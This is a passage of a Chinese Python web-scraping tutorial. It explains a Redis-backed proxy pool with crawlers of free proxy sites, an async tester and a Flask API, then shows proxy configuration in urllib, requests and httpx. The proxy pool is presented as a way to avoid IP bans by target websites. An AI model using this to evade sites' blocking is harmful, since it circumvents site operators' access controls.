from proxypool.setting import REDIS_HOST, REDIS_PORT, REDIS_PASSWORD, REDIS_KEY, PROXY_SCORE_MAX, PROXY_SCORE_MIN, \
PROXY_SCORE_INIT
from random import choice
from typing import List
from loguru import logger
from proxypool.utils.proxy import is_valid_proxy, convert_proxy_or_proxies


REDIS_CLIENT_VERSION = redis.__version__
IS_REDIS_VERSION_2 = REDIS_CLIENT_VERSION.startswith('2.')


class RedisClient(object):
"""
redis connection client of proxypool
"""

def __init__(self, host=REDIS_HOST, port=REDIS_PORT, password=REDIS_PASSWORD, **kwargs):
"""
init redis client
:param host: redis host
:param port: redis port
:param password: redis password
"""
self.db = redis.StrictRedis(host=host, port=port, password=password, decode_responses=True, **kwargs)

def add(self, proxy: Proxy, score=PROXY_SCORE_INIT) -> int:
"""
add proxy and set it to init score
:param proxy: proxy, ip:port, like 8.8.8.8:88
:param score: int score
:return: result
"""
if not is_valid_proxy(f'{proxy.host}:{proxy.port}'):
logger.info(f'invalid proxy {proxy}, throw it')
return
if not self.exists(proxy):
if IS_REDIS_VERSION_2:
return self.db.zadd(REDIS_KEY, score, proxy.string())
return self.db.zadd(REDIS_KEY, {proxy.string(): score})

def random(self) -> Proxy:
"""
get random proxy
firstly try to get proxy with max score
if not exists, try to get proxy by rank
if not exists, raise error
:return: proxy, like 8.8.8.8:8
"""
# try to get proxy with max score
proxies = self.db.zrangebyscore(REDIS_KEY, PROXY_SCORE_MAX, PROXY_SCORE_MAX)
if len(proxies):
return convert_proxy_or_proxies(choice(proxies))
# else get proxy by rank
proxies = self.db.zrevrange(REDIS_KEY, PROXY_SCORE_MIN, PROXY_SCORE_MAX)
if len(proxies):
return convert_proxy_or_proxies(choice(proxies))
# else raise error
raise PoolEmptyException

def decrease(self, proxy: Proxy) -> int:
"""
decrease score of proxy, if small than PROXY_SCORE_MIN, delete it
:param proxy: proxy
:return: new score
"""
score = self.db.zscore(REDIS_KEY, proxy.string())
# current score is larger than PROXY_SCORE_MIN
if score and score > PROXY_SCORE_MIN:
logger.info(f'{proxy.string()} current score {score}, decrease 1')
if IS_REDIS_VERSION_2:
return self.db.zincrby(REDIS_KEY, proxy.string(), -1)
return self.db.zincrby(REDIS_KEY, -1, proxy.string())
# otherwise delete proxy
else:
logger.info(f'{proxy.string()} current score {score}, remove')
return self.db.zrem(REDIS_KEY, proxy.string())

def exists(self, proxy: Proxy) -> bool:
"""
if proxy exists
:param proxy: proxy
:return: if exists, bool
"""
return not self.db.zscore(REDIS_KEY, proxy.string()) is None

def max(self, proxy: Proxy) -> int:
"""
set proxy to max score
:param proxy: proxy
:return: new score
"""
logger.info(f'{proxy.string()} is valid, set to {PROXY_SCORE_MAX}')
if IS_REDIS_VERSION_2:
return self.db.zadd(REDIS_KEY, PROXY_SCORE_MAX, proxy.string())
return self.db.zadd(REDIS_KEY, {proxy.string(): PROXY_SCORE_MAX})

def count(self) -> int:
"""
get count of proxies
:return: count, int
"""
return self.db.zcard(REDIS_KEY)

def all(self) -> List[Proxy]:
"""
get all proxies
:return: list of proxies
"""
return convert_proxy_or_proxies(self.db.zrangebyscore(REDIS_KEY, PROXY_SCORE_MIN, PROXY_SCORE_MAX))

def batch(self, start, end) -> List[Proxy]:
"""
get batch of proxies
:param start: start index
:param end: end index
:return: list of proxies
"""
return convert_proxy_or_proxies(self.db.zrevrange(REDIS_KEY, start, end - 1))


if __name__ == '__main__':
conn = RedisClient()
result = conn.random()
print(result)

首先,我们定义了一些常量,如 PROXY_SCORE_MAXPROXY_SCORE_MINPROXY_SCORE_INIT 分别代表最大分数、最小分数、初始分数。REDIS_HOSTREDIS_PORTREDIS_PASSWORD 分别代表了 Redis 的连接信息,即地址、端口和密码。REDIS_KEY 是有序集合的键名,我们可以通过它来获取代理存储所使用的有序集合。

RedisClient 这个类可以用来操作 Redis 的有序集合,其中定义了一些方法来对集合中的元素进行处理,它的主要功能如下所示。

  • __init__ 方法是初始化的方法,其参数是 Redis 的连接信息,默认的连接信息已经定义为常量。我们在 __init__ 方法中初始化了 StrictRedis 类,建立了 Redis 连接。
  • add 方法用于向数据库添加代理并设置分数,默认的分数是 PROXY_SCORE_INIT,也就是 10,返回结果是添加的结果。
  • random 方法是随机获取代理的方法。首先获取 100 分的代理,然后随机选择一个返回。如果不存在 100 分的代理,则此方法按照排名来获取,选取前 100 名,然后随机选择一个返回,否则抛出异常。
  • decrease 方法是在代理检测无效的时候设置分数减 1 的方法,代理传入后,此方法将代理的分数减 1,如果分数达到最低值,那么代理就删除。
  • exists 方法用于判断代理是否存在集合中。
  • max 方法用于将代理的分数设置为 PROXY_SCORE_MAX,即 100,也就是代理有效时的设置。
  • count 方法用于返回当前集合的元素个数。
  • all 方法返回所有的代理列表,供检测使用。

定义好这些方法后,我们可以在后续的模块中调用此类来连接和操作数据库。如果要获取随机可用的代理,只需要调用 random 方法即可,得到的就是随机的可用代理。

获取模块

获取模块主要是为了从各大网站抓取代理并调用存储模块进行保存,代码实现见 https://github.com/Python3WebSpider/ProxyPool/tree/master/proxypool/crawlers。

获取模块的逻辑相对简单,比如我们可以定义一些抓取代理的方法,示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from proxypool.crawlers.base import BaseCrawler
from proxypool.schemas.proxy import Proxy
import re


MAX_PAGE = 5
BASE_URL = 'http://www.ip3366.net/free/?stype=1&page={page}'


class IP3366Crawler(BaseCrawler):
"""
ip3366 crawler, http://www.ip3366.net/
"""
urls = [BASE_URL.format(page=i) for i in range(1, 8)]

def parse(self, html):
"""
parse html file to get proxies
:return:
"""
ip_address = re.compile('<tr>\s*<td>(.*?)</td>\s*<td>(.*?)</td>')
# \s * 匹配空格,起到换行作用
re_ip_address = ip_address.findall(html)
for address, port in re_ip_address:
proxy = Proxy(host=address.strip(), port=int(port.strip()))
yield proxy

这里定义了一个代理类 Crawler,用来抓取某一网站的代理,这里抓取的是 IP3366 的公开代理,通过 parse 方法来解析页面的源码并构造一个个 Proxy 对象返回即可。

另外,在其父类 BaseCrawler 里面定义了通用的页面抓取方法,它可以读取子类里面定义的 urls 全局变量并进行爬取,然后调用子类的 parse 方法来解析页面,代码实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from retrying import retry
import requests
from loguru import logger


class BaseCrawler(object):
urls = []

@retry(stop_max_attempt_number=3, retry_on_result=lambda x: x is None)
def fetch(self, url, **kwargs):
try:
response = requests.get(url, **kwargs)
if response.status_code == 200:
return response.text
except requests.ConnectionError:
return

@logger.catch
def crawl(self):
"""
crawl main method
"""
for url in self.urls:
logger.info(f'fetching {url}')
html = self.fetch(url)
for proxy in self.parse(html):
logger.info(f'fetched proxy {proxy.string()} from {url}')
yield proxy

如果要扩展一个代理的 Crawler,只需要集成 BaseCrawler 并实现 parse 方法即可,扩展性较好。

因此,这一个个的 Crawler 就可以针对各个不同的代理网站进行代理的抓取。最后,有一个统一的方法将 Crawler 汇总起来,遍历调用即可。

如何汇总呢?这里我们可以检测代码只要定义有 BaseCrawler 的子类就算一个有效的代理 Crawler,可以直接通过遍历 Python 文件包的方式来获取,代码实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import pkgutil
from .base import BaseCrawler
import inspect

# load classes subclass of BaseCrawler
classes = []
for loader, name, is_pkg in pkgutil.walk_packages(__path__):
module = loader.find_module(name).load_module(name)
for name, value in inspect.getmembers(module):
globals()[name] = value
if inspect.isclass(value) and issubclass(value, BaseCrawler) and value is not BaseCrawler:
classes.append(value)
__all__ = __ALL__ = classes

这里我们调用了 walk_packages 方法,遍历了整个 crawlers 模块下的类,并判断它是 BaseCrawler 的子类,那就将其添加到结果中并返回。

最后,只要将 classes 遍历并依次实例化,调用其 crawl 方法即可完成代理的爬取和提取,代码实现见 https://github.com/Python3WebSpider/ProxyPool/blob/master/proxypool/processors/getter.py。

检测模块

我们已经成功将各个网站的代理获取下来了,现在需要一个检测模块来对所有代理进行多轮检测。代理检测可用,分数就设置为 100,代理不可用,分数就减 1,这样可以实时改变每个代理的可用情况。如果要获取有效代理,只需要获取分数高的代理即可。

由于代理的数量非常多,为了提高代理的检测效率,这里使用异步请求库 aiohttp 来检测。

requests 作为一个同步请求库,我们在发出一个请求之后,程序需要等待网页加载完成之后才能继续执行。也就是这个过程会阻塞等待响应,如果服务器响应非常慢,比如一个请求等待十几秒,那么我们使用 requests 完成一个请求就会需要十几秒的时间,程序也不会继续往下执行,而在这十几秒的时间里,程序其实完全可以去做其他的事情,比如调度其他的请求或者进行网页解析等。

对于响应速度比较快的网站来说,requests 同步请求和 aiohttp 异步请求的效果差距没那么大。可对于检测代理来说,检测一个代理一般需要十多秒甚至几十秒的时间,这时候使用 aiohttp 异步请求库的优势就大大体现出来了,效率可能会提高几十倍不止。

所以,我们的代理检测使用异步请求库 aiohttp,实现示例如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import asyncio
import aiohttp
from loguru import logger
from proxypool.schemas import Proxy
from proxypool.storages.redis import RedisClient
from proxypool.setting import TEST_TIMEOUT, TEST_BATCH, TEST_URL, TEST_VALID_STATUS
from aiohttp import ClientProxyConnectionError, ServerDisconnectedError, ClientOSError, ClientHttpProxyError
from asyncio import TimeoutError

EXCEPTIONS = (
ClientProxyConnectionError,
ConnectionRefusedError,
TimeoutError,
ServerDisconnectedError,
ClientOSError,
ClientHttpProxyError
)

class Tester(object):
"""
tester for testing proxies in queue
"""

def __init__(self):
"""
init redis
"""
self.redis = RedisClient()
self.loop = asyncio.get_event_loop()

async def test(self, proxy: Proxy):
"""
test single proxy
:param proxy: Proxy object
:return:
"""
async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(ssl=False)) as session:
try:
logger.debug(f'testing {proxy.string()}')
async with session.get(TEST_URL, proxy=f'http://{proxy.string()}', timeout=TEST_TIMEOUT,
allow_redirects=False) as response:
if response.status in TEST_VALID_STATUS:
self.redis.max(proxy)
logger.debug(f'proxy {proxy.string()} is valid, set max score')
else:
self.redis.decrease(proxy)
logger.debug(f'proxy {proxy.string()} is invalid, decrease score')
except EXCEPTIONS:
self.redis.decrease(proxy)
logger.debug(f'proxy {proxy.string()} is invalid, decrease score')

@logger.catch
def run(self):
"""
test main method
:return:
"""
# event loop of aiohttp
logger.info('stating tester...')
count = self.redis.count()
logger.debug(f'{count} proxies to test')
for i in range(0, count, TEST_BATCH):
# start end end offset
start, end = i, min(i + TEST_BATCH, count)
logger.debug(f'testing proxies from {start} to {end} indices')
proxies = self.redis.batch(start, end)
tasks = [self.test(proxy) for proxy in proxies]
# run tasks using event loop
self.loop.run_until_complete(asyncio.wait(tasks))


if __name__ == '__main__':
tester = Tester()
tester.run()

这里定义了一个类 Tester__init__ 方法中建立了一个 RedisClient 对象,供该对象中其他方法使用。接下来,定义了一个 test 方法,这个方法用来检测单个代理的可用情况,其参数就是被检测的代理。注意,test 方法前面加了 async 关键词,这代表这个方法是异步的。方法内部首先创建了 aiohttp 的 ClientSession 对象,可以直接调用该对象的 get 方法来访问页面。

测试链接在这里定义为常量 TEST_URL。如果针对某个网站有抓取需求,建议将 TEST_URL 设置为目标网站的地址,因为在抓取过程中,代理本身可能是可用的,但是该代理的 IP 已经被目标网站封掉了。例如,某些代理可以正常访问百度等页面,但是对知乎来说可能就被封了,所以我们可以将 TEST_URL 设置为知乎的某个页面的链接。当请求失败、代理被封时,分数自然会减下来,失效的代理就不会被取到了。

如果想做一个通用的代理池,则不需要专门设置 TEST_URL,既可以将其设置为一个不会封 IP 的网站,也可以设置为百度这类响应稳定的网站。

我们还定义了 TEST_VALID_STATUS 变量,这个变量是一个列表形式,包含了正常的状态码,如可以定义成 [200]。当然,某些目标网站可能会出现其他的状态码,可以自行配置。

程序在获取响应后需要判断响应的状态,如果状态码在 TEST_VALID_STATUS 列表里,则代表代理可用,可以调用 RedisClientmax 方法将代理分数设为 100,否则调用 decrease 方法将代理分数减 1,如果出现异常,也同样将代理分数减 1。

另外,我们设置了批量测试的最大值 TEST_BATCH,也就是一批测试最多 TEST_BATCH 个,这可以避免代理池过大时一次性测试全部代理导致内存开销过大的问题。当然,也可以用信号量来实现并发控制。

随后,在 run 方法里面获取了所有的代理列表,使用 aiohttp 分配任务,启动运行。这样在不断的运行过程中,代理池中无效代理的分数会一直被减 1,直至被清除,有效的代理则会一直保持 100 分,供随时取用。

这样测试模块的逻辑就完成了。

接口模块

通过上述 3 个模块,我们已经可以做到代理的获取、检测和更新,数据库就会以有序集合的形式存储各个代理及其对应的分数,分数 100 代表可用,分数越小代表越不可用。

但是我们怎样方便地获取可用代理呢?可以用 RedisClient 类直接连接 Redis,然后调用 random 方法。这样做没问题,效率很高,但是会有几个弊端。

  • 如果其他人使用这个代理池,他需要知道 Redis 连接的用户名和密码信息,这样很不安全。
  • 如果代理池需要部署在远程服务器上运行,而远程服务器的 Redis 只允许本地连接,那么我们就不能远程直连 Redis 来获取代理。
  • 如果爬虫所在的主机没有连接 Redis 模块,或者爬虫不是由 Python 语言编写的,那么我们就无法使用 RedisClient 来获取代理。
  • 如果 RedisClient 类或者数据库结构有更新,那么爬虫端必须同步这些更新,这样非常麻烦。

综上考虑,为了使代理池可以作为一个独立服务运行,我们最好增加一个接口模块,并以 Web API 的形式暴露可用代理。

这样一来,获取代理只需要请求接口即可,以上的几个缺点也可以避免。

我们使用一个比较轻量级的库 Flask 来实现这个接口模块,实现示例如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from flask import Flask, g
from proxypool.storages.redis import RedisClient
from proxypool.setting import API_HOST, API_PORT, API_THREADED

__all__ = ['app']

app = Flask(__name__)

def get_conn():
"""
get redis client object
:return:
"""
if not hasattr(g, 'redis'):
g.redis = RedisClient()
return g.redis

@app.route('/')
def index():
"""
get home page, you can define your own templates
:return:
"""
return '<h2>Welcome to Proxy Pool System</h2>'

@app.route('/random')
def get_proxy():
"""
get a random proxy
:return: get a random proxy
"""
conn = get_conn()
return conn.random().string()

@app.route('/count')
def get_count():
"""
get the count of proxies
:return: count, int
"""
conn = get_conn()
return str(conn.count())

if __name__ == '__main__':
app.run(host=API_HOST, port=API_PORT, threaded=API_THREADED)

这里我们声明了一个 Flask 对象,定义了 3 个接口,分别是首页、随机代理页和获取数量页。

运行之后,Flask 会启动一个 Web 服务,我们只需要访问对应的接口即可获取到可用代理。

调度模块

调度模块就是调用上面所定义的 3 个模块,将这 3 个模块通过多进程的形式运行起来,示例如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import time
import multiprocessing
from proxypool.processors.server import app
from proxypool.processors.getter import Getter
from proxypool.processors.tester import Tester
from proxypool.setting import CYCLE_GETTER, CYCLE_TESTER, API_HOST, API_THREADED, API_PORT, ENABLE_SERVER, \
ENABLE_GETTER, ENABLE_TESTER, IS_WINDOWS
from loguru import logger

if IS_WINDOWS:
multiprocessing.freeze_support()

tester_process, getter_process, server_process = None, None, None

class Scheduler():
"""
scheduler
"""

def run_tester(self, cycle=CYCLE_TESTER):
"""
run tester
"""
if not ENABLE_TESTER:
logger.info('tester not enabled, exit')
return
tester = Tester()
loop = 0
while True:
logger.debug(f'tester loop {loop} start...')
tester.run()
loop += 1
time.sleep(cycle)

def run_getter(self, cycle=CYCLE_GETTER):
"""
run getter
"""
if not ENABLE_GETTER:
logger.info('getter not enabled, exit')
return
getter = Getter()
loop = 0
while True:
logger.debug(f'getter loop {loop} start...')
getter.run()
loop += 1
time.sleep(cycle)

def run_server(self):
"""
run server for api
"""
if not ENABLE_SERVER:
logger.info('server not enabled, exit')
return
app.run(host=API_HOST, port=API_PORT, threaded=API_THREADED)

def run(self):
global tester_process, getter_process, server_process
try:
logger.info('starting proxypool...')
if ENABLE_TESTER:
tester_process = multiprocessing.Process(target=self.run_tester)
logger.info(f'starting tester, pid {tester_process.pid}...')
tester_process.start()

if ENABLE_GETTER:
getter_process = multiprocessing.Process(target=self.run_getter)
logger.info(f'starting getter, pid{getter_process.pid}...')
getter_process.start()

if ENABLE_SERVER:
server_process = multiprocessing.Process(target=self.run_server)
logger.info(f'starting server, pid{server_process.pid}...')
server_process.start()

tester_process.join()
getter_process.join()
server_process.join()
except KeyboardInterrupt:
logger.info('received keyboard interrupt signal')
tester_process.terminate()
getter_process.terminate()
server_process.terminate()
finally:
# must call join method before calling is_alive
tester_process.join()
getter_process.join()
server_process.join()
logger.info(f'tester is {"alive" if tester_process.is_alive() else "dead"}')
logger.info(f'getter is {"alive" if getter_process.is_alive() else "dead"}')
logger.info(f'server is {"alive" if server_process.is_alive() else "dead"}')
logger.info('proxy terminated')


if __name__ == '__main__':
scheduler = Scheduler()
scheduler.run()

3 个常量 ENABLE_TESTERENABLE_GETTERENABLE_SERVER 都是布尔类型,表示测试模块、获取模块和接口模块的开关,如果都为 True,则代表模块开启。

启动入口是 run 方法,这个方法分别判断 3 个模块的开关。如果开关开启,启动时程序就新建一个 Process 进程,设置好启动目标,然后调用 start 方法运行,这样 3 个进程就可以并行执行,互不干扰。

3 个调度方法的结构也非常清晰。比如,run_tester 方法用来调度测试模块。首先声明一个 Tester 对象,然后进入死循环不断循环调用其 run 方法,执行完一轮之后就休眠一段时间,休眠结束之后重新再执行。这里休眠时间也定义为一个常量,如 20 秒,即每隔 20 秒进行一次代理检测。

最后,只需要调用 Schedulerrun 方法即可启动整个代理池。

以上内容便是整个代理池的架构和相应实现逻辑。

5.运行

接下来,我们将代码整合一下,将代理运行起来,运行之后的输出结果如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
2020-04-13 02:52:06.510 | INFO     | proxypool.storages.redis:decrease:73 - 60.186.146.193:9000 current score 10.0, decrease 1
2020-04-13 02:52:06.517 | DEBUG | proxypool.processors.tester:test:52 - proxy 60.186.146.193:9000 is invalid, decrease score
2020-04-13 02:52:06.524 | INFO | proxypool.storages.redis:decrease:73 - 60.186.151.147:9000 current score 10.0, decrease 1
2020-04-13 02:52:06.532 | DEBUG | proxypool.processors.tester:test:52 - proxy 60.186.151.147:9000 is invalid, decrease score
2020-04-13 02:52:07.159 | INFO | proxypool.storages.redis:max:96 - 60.191.11.246:3128 is valid, set to 100
2020-04-13 02:52:07.167 | DEBUG | proxypool.processors.tester:test:46 - proxy 60.191.11.246:3128 is valid, set max score
2020-04-13 02:52:17.271 | INFO | proxypool.storages.redis:decrease:73 - 59.62.7.130:9000 current score 10.0, decrease 1
2020-04-13 02:52:17.280 | DEBUG | proxypool.processors.tester:test:52 - proxy 59.62.7.130:9000 is invalid, decrease score
2020-04-13 02:52:17.288 | INFO | proxypool.storages.redis:decrease:73 - 60.167.103.74:1133 current score 10.0, decrease 1
2020-04-13 02:52:17.295 | DEBUG | proxypool.processors.tester:test:52 - proxy 60.167.103.74:1133 is invalid, decrease score
2020-04-13 02:52:17.302 | INFO | proxypool.storages.redis:decrease:73 - 60.162.71.113:9000 current score 10.0, decrease 1
2020-04-13 02:52:17.309 | DEBUG | proxypool.processors.tester:test:52 - proxy 60.162.71.113:9000 is invalid, decrease score

以上是代理池的控制台输出,可以看到这里将可用代理设置为 100,不可用代理分数减 1。

接下来,我们再打开浏览器,当前配置运行在 5555 端口,所以打开 http://127.0.0.1:5555 即可看到其首页,如图所示。

image-20210711001154883
图 9-2 首页

再访问 http://127.0.0.1:5555/random,即可获取随机可用代理,如图 9-3 所示。


图 9-3 获取随机可用代理

只需要访问此接口,即可获取一个随机可用代理,这非常方便。

获取代理的代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
import requests

PROXY_POOL_URL = 'http://localhost:5555/random'

def get_proxy():
try:
response = requests.get(PROXY_POOL_URL)
if response.status_code == 200:
return response.text
except ConnectionError:
return None

这样便可以获取到一个随机代理了。它是字符串类型,此代理可以按照上一节所示的方法设置,如 requests 的使用方法如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

proxy = get_proxy()
proxies = {
'http': 'http://' + proxy,
'https': 'https://' + proxy,
}
try:
response = requests.get('http://httpbin.org/get', proxies=proxies)
print(response.text)
except requests.exceptions.ConnectionError as e:
print('Error', e.args)

有了代理池之后,再取出代理即可有效防止 IP 被封禁的情况。

6.总结

本节我们学习了一个代理池的设计思路和实现方案,有了这个代理池,我们就可以实时获取一些可用的代理了。相对之前的实战案例来说,整个代理池的代码量和逻辑复杂了比较多,建议可以好好理解和消化一下。

本节的代码地址为 https://github.com/Python3WebSpider/ProxyPool,代码库中还提供了基于 Docker 和 Kubernetes 的运行和部署操作,可以帮助我们更加快捷地运行代理池,同时本书后文也会介绍代理池的部署方法。

Python

爬虫系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

前面我们介绍了多种请求库,如 urllib、requests、Selenium、Playwright 等用法,但是没有统一梳理代理的设置方法,本节我们来针对这些库来梳理下代理的设置方法。

1. 准备工作

在本节开始之前,请先根据上一节了解一下代理的基本原理,了解了基本原理之后我们可以更好地理解和学习本节的内容。

另外我们需要先获取一个可用代理,代理就是 IP 地址和端口的组合,就是 <ip>:<port> 这样的格式。如果代理需要访问认证,那就还需要额外的用户名密码两个信息。

那怎么获取一个可用代理呢?

使用搜索引擎搜索 “代理” 关键字,可以看到许多代理服务网站,网站上会有很多免费或付费代理,比如快代理的免费 HTTP 代理:https://www.kuaidaili.com/free/ 上面就写了很多免费代理,但是这些免费代理大多数情况下并不一定稳定,所以比较靠谱的方法是购买付费代理。付费代理的各大代理商家都有套餐,数量不用多,稳定可用即可,我们可以自行选购。

另外除了购买付费 HTTP 代理,我们也可以在本机配置一些代理软件,具体的配置方法可以参考 https://setup.scrape.center/proxy-client,软件运行之后会在本机创建 HTTP 或 SOCKS 代理服务,所以代理地址一般都是 127.0.0.1:<port> 这样的格式,不同的软件用的端口可能不同。

这里我的本机安装了一部代理软件,它会在本地 7890 端口上创建 HTTP 代理服务,即代理为 127.0.0.1:7890。另外,该软件还会在 7891 端口上创建 SOCKS 代理服务,即代理为 127.0.0.1:7891,所以只要设置了这个代理,就可以成功将本机 IP 切换到代理软件连接的服务器的 IP 了。

在本章下面的示例里,我使用上述代理来演示其设置方法,你也可以自行替换成自己的可用代理。

设置代理后,测试的网址是 http://httpbin.org/get,访问该链接我们可以得到请求的相关信息,其中返回结果的 origin 字段就是客户端的 IP,我们可以根据它来判断代理是否设置成功,即是否成功伪装了 IP。

好,接下来我们就来看下各个请求库的代理设置方法吧。

2. urllib

首先我们以最基础的 urllib 为例,来看一下代理的设置方法,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from urllib.error import URLError
from urllib.request import ProxyHandler, build_opener

proxy = '127.0.0.1:7890'
proxy_handler = ProxyHandler({
'http': 'http://' + proxy,
'https': 'http://' + proxy
})
opener = build_opener(proxy_handler)
try:
response = opener.open('https://httpbin.org/get')
print(response.read().decode('utf-8'))
except URLError as e:
print(e.reason)

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
{
"args": {},
"headers": {
"Accept-Encoding": "identity",
"Host": "httpbin.org",
"User-Agent": "Python-urllib/3.7",
"X-Amzn-Trace-Id": "Root=1-60e9a1b6-0a20b8a678844a0b2ab4e889"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

这里我们需要借助 ProxyHandler 设置代理,参数是字典类型,键名为协议类型,键值是代理。注意,此处代理前面需要加上协议,即 http:// 或者 https://,当请求的链接是 HTTP 协议的时候,会使用 http 键名对应的代理,当请求的链接是 HTTPS 协议的时候,会使用 https 键名对应的代理。不过这里我们把代理本身设置为了 HTTP 协议,即前缀统一设置为了 http://,所以不论访问 HTTP 还是 HTTPS 协议的链接,都会使用我们配置的 HTTP 协议的代理进行请求。

创建完 ProxyHandler 对象之后,我们需要利用 build_opener 方法传入该对象来创建一个 Opener,这样就相当于此 Opener 已经设置好代理了。接下来直接调用 Opener 对象的 open 方法,即可访问我们所想要的链接。

运行输出结果是一个 JSON,它有一个字段 origin,标明了客户端的 IP。验证一下,此处的 IP 确实为代理的 IP,并不是真实的 IP。这样我们就成功设置好代理,并可以隐藏真实 IP 了。

如果遇到需要认证的代理,我们可以用如下的方法设置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from urllib.error import URLError
from urllib.request import ProxyHandler, build_opener

proxy = 'username:password@127.0.0.1:7890'
proxy_handler = ProxyHandler({
'http': 'http://' + proxy,
'https': 'http://' + proxy
})
opener = build_opener(proxy_handler)
try:
response = opener.open('https://httpbin.org/get')
print(response.read().decode('utf-8'))
except URLError as e:
print(e.reason)

这里改变的只是 proxy 变量,只需要在代理前面加入代理认证的用户名密码即可,其中 username 就是用户名,password 为密码,例如 username 为 foo,密码为 bar,那么代理就是 foo:bar@127.0.0.1:7890

如果代理是 SOCKS5 类型,那么可以用如下方式设置代理:

1
2
3
4
5
6
7
8
9
10
11
12
import socks
import socket
from urllib import request
from urllib.error import URLError

socks.set_default_proxy(socks.SOCKS5, '127.0.0.1', 7891)
socket.socket = socks.socksocket
try:
response = request.urlopen('https://httpbin.org/get')
print(response.read().decode('utf-8'))
except URLError as e:
print(e.reason)

此处需要一个 socks 模块,可以通过如下命令安装:

1
pip3 install PySocks

这里需要本地运行一个 SOCKS5 代理,运行在 7891 端口,运行成功之后和上文 HTTP 代理输出结果是一样的:

1
2
3
4
5
6
7
8
9
10
11
{
"args": {},
"headers": {
"Accept-Encoding": "identity",
"Host": "httpbin.org",
"User-Agent": "Python-urllib/3.7",
"X-Amzn-Trace-Id": "Root=1-60e9a1b6-0a20b8a678844a0b2ab4e889"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

结果的 origin 字段同样为代理的 IP,代理设置成功。

3.requests 的代理设置

对于 requests 来说,代理设置非常简单,我们只需要传入 proxies 参数即可。

这里以我本机的代理为例,来看下 requests 的 HTTP 代理设置,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

proxy = '127.0.0.1:7890'
proxies = {
'http': 'http://' + proxy,
'https': 'http://' + proxy,
}
try:
response = requests.get('https://httpbin.org/get', proxies=proxies)
print(response.text)
except requests.exceptions.ConnectionError as e:
print('Error', e.args)

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
{
"args": {},
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Host": "httpbin.org",
"User-Agent": "python-requests/2.22.0",
"X-Amzn-Trace-Id": "Root=1-5e8f358d-87913f68a192fb9f87aa0323"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

和 urllib 一样,当请求的链接是 HTTP 协议的时候,会使用 http 键名对应的代理,当请求的链接是 HTTPS 协议的时候,会使用 https 键名对应的代理,不过这里统一使用了 HTTP 协议的代理。

运行结果中的 origin 若是代理服务器的 IP,则证明代理已经设置成功。

如果代理需要认证,那么在代理的前面加上用户名和密码即可,代理的写法就变成如下所示:

1
proxy = 'username:password@127.0.0.1:7890'

这里只需要将 usernamepassword 替换即可。

如果需要使用 SOCKS 代理,则可以使用如下方式来设置:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

proxy = '127.0.0.1:7891'
proxies = {
'http': 'socks5://' + proxy,
'https': 'socks5://' + proxy
}
try:
response = requests.get('https://httpbin.org/get', proxies=proxies)
print(response.text)
except requests.exceptions.ConnectionError as e:
print('Error', e.args)

这里我们需要额外安装一个包 requests[socks],相关命令如下所示:

1
pip3 install "requests[socks]"

运行结果是完全相同的:

1
2
3
4
5
6
7
8
9
10
11
12
{
"args": {},
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Host": "httpbin.org",
"User-Agent": "python-requests/2.22.0",
"X-Amzn-Trace-Id": "Root=1-5e8f364a-589d3cf2500fafd47b5560f2"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

另外,还有一种设置方式,即使用 socks 模块,也需要像上文一样安装 socks 库。这种设置方法如下所示:

1
2
3
4
5
6
7
8
9
10
11
import requests
import socks
import socket

socks.set_default_proxy(socks.SOCKS5, '127.0.0.1', 7891)
socket.socket = socks.socksocket
try:
response = requests.get('https://httpbin.org/get')
print(response.text)
except requests.exceptions.ConnectionError as e:
print('Error', e.args)

使用这种方法也可以设置 SOCKS 代理,运行结果完全相同。相比第一种方法,此方法是全局设置的。我们可以在不同情况下选用不同的方法。

4. httpx 的代理设置

httpx 的用法本身就与 requests 的使用非常相似,所以其也是通过 proxies 参数来设置代理的,不过与 requests 不同的是,proxies 参数的键名不能再是 httphttps,而需要更改为 http://https://,其他的设置是一样的。

对于 HTTP 代理来说,设置方法如下:

1
2
3
4
5
6
7
8
9
10
11
import httpx

proxy = '127.0.0.1:7890'
proxies = {
'http://': 'http://' + proxy,
'https://': 'http://' + proxy,
}

with httpx.Client(proxies=proxies) as client:
